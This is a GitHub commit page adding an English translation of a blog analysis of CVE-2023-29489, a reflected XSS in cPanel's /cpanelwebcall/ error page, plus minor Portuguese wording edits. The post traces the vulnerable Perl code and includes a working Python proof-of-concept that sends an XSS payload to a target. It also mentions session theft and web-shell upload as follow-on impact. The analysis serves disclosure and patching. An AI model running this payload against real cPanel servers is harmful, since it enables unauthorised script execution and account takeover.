Skip to content

Commit

Permalink
Merge pull request #7 from instriq/scriptprivate-patch-1
Browse files Browse the repository at this point in the history
improve CVE-2023-29489 readability, add it's English translation, and update 2024-09-02 wording
  • Loading branch information
htrgouvea authored Sep 11, 2024
2 parents c7ea99e + d0497c3 commit b7c1b95
Show file tree
Hide file tree
Showing 3 changed files with 167 additions and 6 deletions.
6 changes: 5 additions & 1 deletion _posts/2024-05-14-CVE-2023-29489.markdown
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@ A CVE-2023-29489[1] trata-se de uma vulnerabilidade de Cross-Site Scripting (XSS

Essa vulnerabilidade foi identificada em 26 de abril de 2023 pela equipe de segurança da Assetnote[4], uma empresa de segurança da Austrália. A vulnerabilidade impacta versões do cPanel anteriores a 11.109.9999.116 e foi corrigida nas versões 11.109.9999.116, 11.108.0.13, 11.106.0.18 e 11.102.0.31 ou em versões posteriores.

Essa publicação está disponível também em: [Inglês](https://blog.lesis.lat/blog/2024-09-10-CVE-2023-29489-EN/)

---

### Descrição
Expand Down Expand Up @@ -130,7 +132,9 @@ A vulnerabilidade apresenta uma ameaça significava a segurança da aplicação

### Conclusão

A versão cPanel aqui discutida, tem uma superfície vulnerável, onde essa vulnerabilidade permite que o atacante execute scripts maliciosos em páginas acessadas pelos usuários comuns, onde o atacante não precisa estar autenticado para explorá-la. A vulnerabilidade é explorável independente da porta do cPanel (2080, 2082, 2083, 2086) estar exposta externamente ou não. 

A exploração dessa vulnerabilidade pode resultar na execução de códigos JavaScript arbitrário em praticamente todas as portas de um servidor web que utilize o cPanel. Isso ocorre devido as regras de proxy que permitem o acesso ao diretório **/cpanel/** mesmo nas portas 80 e 443, redirecionando as solicitações para as portas de gerenciamento do cPanel devido os proxys do Apache.
A versão cPanel aqui discutida, tem uma superfície vulnerável, onde essa vulnerabilidade permite que o atacante execute scripts maliciosos em páginas acessadas pelos usuários comuns, onde o atacante não precisa estar autenticado para explorá-la. A vulnerabilidade é explorável independente da porta do cPanel (2080, 2082, 2083, 2086) estar exposta externamente ou não. 



A exploração dessa vulnerabilidade pode resultar na execução de códigos JavaScript arbitrário em praticamente todas as portas de um servidor web que utilize o cPanel. Isso ocorre devido as regras de proxy que permitem o acesso ao diretório **/cpanel/** mesmo nas portas 80 e 443, redirecionando as solicitações para as portas de gerenciamento do cPanel devido os proxys do Apache.

A vulnerabilidade foi corrigida com patches disponíveis nas versões posteriores ao cPanel 11.109.9999.116. É fundamental que os administradores de sistemas atualizem seus sistemas para a versão mais recente do cPanel e implementem as correções disponíveis para mitigar as ameaças.

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -61,11 +61,11 @@ O [**Security Gate**](https://github.com/instriq/security-gate/) inclui os segui

- **Scanning de Secrets**

O recurso de scanning de secrets integra-se com os alertas de Secret Scanning do GitHub para identificar informações sensíveis que possam ter sido expostas no repositório. A ferramenta recupera e processa alertas de secrets abertos, fornecendo detalhes sobre o número total de alertas e seus locais específicos no código. A configuração de limites para esses alertas ajuda a evitar a implantação de código com secrets expostos, contribuindo para a segurança geral do projeto. Todos os alertas baseado em detecções de secrets são considerados de criticidade alta.
O recurso de scanning de secrets integra-se com os alertas de Secret Scanning do GitHub para identificar informações sensíveis que possam ter sido expostas no repositório. A ferramenta recupera e processa alertas de secrets abertos, fornecendo detalhes sobre o número total de alertas e seus locais específicos no código. A configuração de limites para esses alertas ajuda a evitar a implementação de código com secrets expostos, contribuindo para a segurança geral do projeto. Todos os alertas baseado em detecções de secrets são considerados de severidade alta.

- **Scanning de Código**

O módulo de scanning de código utiliza os alertas de Code Scanning do GitHub para identificar e gerenciar vulnerabilidades na base de código. O sistema agrega os alertas de scanning de código abertos, classifica-os por severidade e verifica se o número de alertas excede os limites estabelecidos. Essa abordagem permite que as vulnerabilidades no código sejam tratadas antes da implantação do código em uma branch produtiva (por exemplo, na main), reduzindo potenciais riscos de segurança.
O módulo de scanning de código utiliza os alertas de Code Scanning do GitHub para identificar e gerenciar vulnerabilidades na base de código. O sistema agrega os alertas de scanning de código abertos, classifica-os por severidade e verifica se o número de alertas excede os limites estabelecidos. Essa abordagem permite que as vulnerabilidades no código sejam tratadas antes da implementação do código em uma branch produtiva (por exemplo, na main), reduzindo potenciais riscos de segurança.

Através da integração com o GitHub Actions e da gestão de diversos tipos de alertas de segurança, o [**Security Gate**](https://github.com/instriq/security-gate/) fornece um mecanismo para manter a segurança dos projetos de software durante seu ciclo de vida de desenvolvimento.

Expand Down Expand Up @@ -159,10 +159,11 @@ A integração do [**Security Gate**](https://github.com/instriq/security-gate/)
### O Futuro do Security Gate
Atualmente, o [**Security Gate**](https://github.com/instriq/security-gate/) suporta a verificação de alertas de segurança relacionados a dependências, secrets e código, assegurando que projetos atendam aos critérios de segurança estabelecidos antes da implantação. Contudo, existem algumas áreas potenciais para aprimoramento que podem ser exploradas em versões futuras para expandir suas funcionalidades e melhorar a experiência do usuário.
Atualmente, o [**Security Gate**](https://github.com/instriq/security-gate/) suporta a verificação de alertas de segurança relacionados a dependências, secrets e código, assegurando que projetos atendam aos critérios de segurança estabelecidos antes da implementação. Contudo, existem algumas áreas potenciais para aprimoramento que podem ser exploradas em versões futuras para expandir suas funcionalidades e melhorar a experiência do usuário.
Uma das áreas a ser considerada é a ampliação do suporte a diferentes plataformas de gestão de repositórios como por exemplo Bitbucket e Gitlab.
Finalmente, há a possibilidade de expandir a integração do [**Security Gate**](https://github.com/instriq/security-gate/) para incluir alertas provenientes de outras ferramentas de segurança. Isso permitiria uma análise mais abrangente, incorporando dados de segurança de diversas fontes e oferecendo uma visão mais completa do perfil de segurança do projeto.
Uma das áreas a ser considerada é a ampliação do suporte a diferentes plataformas de gestão de repositórios como por exemplo Bitbucket e Gitlab.
Além disso, há a possibilidade de expandir a integração do [**Security Gate**](https://github.com/instriq/security-gate/) para incluir alertas provenientes de outras ferramentas de segurança. Isso permitiria uma análise mais abrangente, incorporando dados de segurança de diversas fontes e oferecendo uma visão mais completa do perfil de segurança do projeto.
Com essas futuras melhorias, o [**Security Gate**](https://github.com/instriq/security-gate/) poderá ampliar sua cobertura de segurança e melhorar a integração com os processos de desenvolvimento de software, contribuindo para a manutenção das práticas de segurança ao longo do ciclo de vida do software.
Expand Down
156 changes: 156 additions & 0 deletions _posts/2024-09-10-CVE-2023-29489-EN.markdown
Original file line number Diff line number Diff line change
@@ -0,0 +1,156 @@
---
layout: post
title: "Analysis of CVE-2023-29489: Reflected XSS in cPanel"
date: 2024-09-10
---

The CVE-2023-29489[1] refers to a reflected Cross-Site Scripting (XSS)[2] vulnerability identified in the cPanel[3] web hosting control panel software, which is widely used on the web. The XSS vulnerability allows an attacker to execute malicious scripts on a page being accessed by other users. The attacker does not need to be authenticated in order to do that.

This vulnerability was identified on April 26, 2023, by the Assetnote's[4] security team, an Australian security company. The vulnerability affects versions of cPanel prior to 11.109.9999.116 and was fixed in versions 11.109.9999.116, 11.108.0.13, 11.106.0.18, and 11.102.0.31 or later versions.

This publication is also disponible in: [Portuguese](https://blog.lesis.lat/blog/CVE-2023-29489/)

---

### Description

The cPanel software is written in Perl[5], with binaries generated from Perl code. Based on the binaries accessible in the **/cgi-sys/** directory on the management ports, it becomes evident that these binaries were originally Perl code and are remotely called via HTTP requests.

Besides the binaries inside **/cgi-sys/**, some cPanel functionalities and web applications are served through the cpsrvd binary. The cpsrvd binary runs by default on ports: 2082, 2083, 2086, 2087. For this, cPanel uses Apache's[6] reverse proxy features, and the configuration for this can be found in **/etc/apache2/conf/httpd/conf/**. These proxying and script aliasing configurations define areas that are potentially interesting for attacks:

```
ProxyPass /cpanelwebcall/ http://127.0.0.1:2082/cpanelwebcall/ max=1 retry=0
... omitted for brevity ...
ScriptAlias /.cpanel/dcv /usr/local/cpanel/cgi-priv/get_local.cgi
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/\.well-known/acme-challenge/[0-9a-zA-Z_-]+$ [OR]
RewriteCond %{REQUEST_URI} ^/\.well-known/cpanel-dcv/[0-9a-zA-Z_-]+$ [OR]
RewriteCond %{REQUEST_URI} ^/\.well-known/pki-validation/[A-F0-9]{32}\.txt(?:\ Sectigo\ DCV)?$ [OR]
RewriteCond %{REQUEST_URI} ^/\.well-known/pki-validation/(?:\ Ballot169)?
RewriteRule ^ /.cpanel/dcv [passthrough]
```

The file **Cpanel/Server/Handlers/Httpd.pm** has a specific logic related to path handling. This allowed for the mapping of attack surfaces. Within httpd.pm, there is a code snippet that routes all requests from a path beginning with **/panelwebcall** to a function called **_server_cpanelwebcall**, which in turn calls another function, **Chanel::Server::WebCalls::handle**, with a portion of the URL as an argument:

```perl
elsif ( 0 == rindex( $doc_path, '/cpanelwebcall/', 0 ) ) {
# First 15 chars are “/cpanelwebcall/”
_serve_cpanelwebcall(
$self->get_server_obj(),
substr( $doc_path, 15 ),
);
}
```


The function **_serve_cpanelwebcall** looks like this:

```perl
sub _serve_cpanelwebcall ( $server_obj, $webcall_uri_piece ) {
require Cpanel::Server::WebCalls;
my $out = Cpanel::Server::WebCalls::handle($webcall_uri_piece);

$server_obj->respond_200_ok_text($out);

return;
}
```


Which leads us to the function **Chanel::Server::WebCalls::handle**:

```perl
sub handle ($request) {

my $id = extract_id_from_request($request);
substr( $request, 0, length $id ) = q<>;

Cpanel::WebCalls::ID::is_valid($id) or do {
die _http_invalid_params_err("Invalid webcall ID: $id");
};
```

The `handle` function extracts an ID from the request and then modifies the request by removing the ID. If the ID is not valid, it generates an error indicating the invalid request. When the error occurs, the function **_httpd_invalid_params_err** is called, which creates an exception called **cpsrvd::BadRequest** that leads to the **Cpanel::Server::Handlers::ErrorPage** module. Within this module, there is a variable called **message_html**. The vulnerability lies in this variable because it does not sanitize the error message when inserting the invalid ID.

---

### Proof of Concept

Exploit:

```python
#!/usr/bin/env python3
import requests
import argparse
import re

def exploit(target):
payload = "<img%20src=x%20onerror='alert(1)'>foo"
if not re.match(r'^https?://', target):
target = f"https://{target}"

try:
response = requests.get(f"{target}/cpanelwebcall/{payload}")
if payload in response.text:
return f"The payload [{payload}] worked!"
else:
return f"The target [{target}] is not vulnerable."
except requests.exceptions.RequestException as e:
return(f"Error making request for {target} -> {e}")

def main():
parser = argparse.ArgumentParser(description="CVE-2023-29489 | XSS in cPanel")
parser.add_argument("-t", "--target", required=True)
args = parser.parse_args()

try:
print(exploit(args.target))
except KeyboardInterrupt:
exit(1)
except EOFError:
exit(1)
if __name__ == '__main__':
main()
```


---

### Impact

The impact of this vulnerability allows an attacker to execute arbitrary JavaScript code, without being authenticated, on nearly any port of a web server running cPanel.

This happens due to the proxy rules permitting access to the **/cpanel/** directory through ports 80 and 443, as requests are redirected by Apache to the cPanel management ports.

The fact that the cPanel management ports are vulnerable to XSS allows an attacker to steal a legitimate user's session. Once authenticated as a legitimate user, it is possible to upload a web shell[7] and gain remote command execution on the server.

Therefore, the vulnerability poses a significant threat to the application's security, and it is highly recommended that system administrators update to the latest version.

---

### Conclusion

The cPanel version discussed here has a vulnerable surface that allows an attacker to execute malicious scripts on pages accessed by regular users, without requiring authentication to exploit it. This vulnerability can be exploited regardless of whether the cPanel ports (2080, 2082, 2083, 2086) are exposed externally.

Exploiting this vulnerability can lead to arbitrary JavaScript code execution on nearly all ports of a web server running cPanel. This occurs due to proxy rules that permit access to the **/cpanel/** directory even through ports 80 and 443, with requests being redirected to the cPanel management ports by Apache's proxy configuration.

The vulnerability was addressed with patches available in versions after cPanel 11.109.9999.116. It is crucial for system administrators to update their systems to the latest version of cPanel and apply the available patches to mitigate the threats.

- This article was written by Lucas Katashi, who currently works as a pentester and is passionate about Red Teaming. He enjoys coding tools and considers Burp Suite his best friend.
- The translation was done by Giovanni Sagioro: a Computer Science student, seeker of the Perl wisdom, and security researcher. Focused on application security, vulnerability discovery, and exploit development. As Larry Wall says—‘Easy things should be easy, and hard things should be possible’—so I’m trying to make the hard things possible.

---

### References

* [1] [MITRE - CVE-2023-29489](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29489)
* [2] [PortSwigger - Cross-site Scripting](https://portswigger.net/web-security/cross-site-scripting)
* [3] [Hostinger - Domine o cPanel: Prós, Contras e Como Usar](https://www.hostinger.com.br/tutoriais/cpanel-o-que-e-painel-de-hospedagem)
* [4] [Assetnote - Finding XSS in a million websites (cPanel CVE-2023-29489)](https://www.assetnote.io/resources/research/finding-xss-in-a-million-websites-cpanel-cve-2023-29489)
* [5] [Perl - Flexible & Powerful](https://www.perl.org)
* [6] [Apache - Software for the public good](https://www.apache.org)
* [7] [Wikipedia - Web Shell](https://en.wikipedia.org/wiki/Web_shell)

0 comments on commit b7c1b95

Please sign in to comment.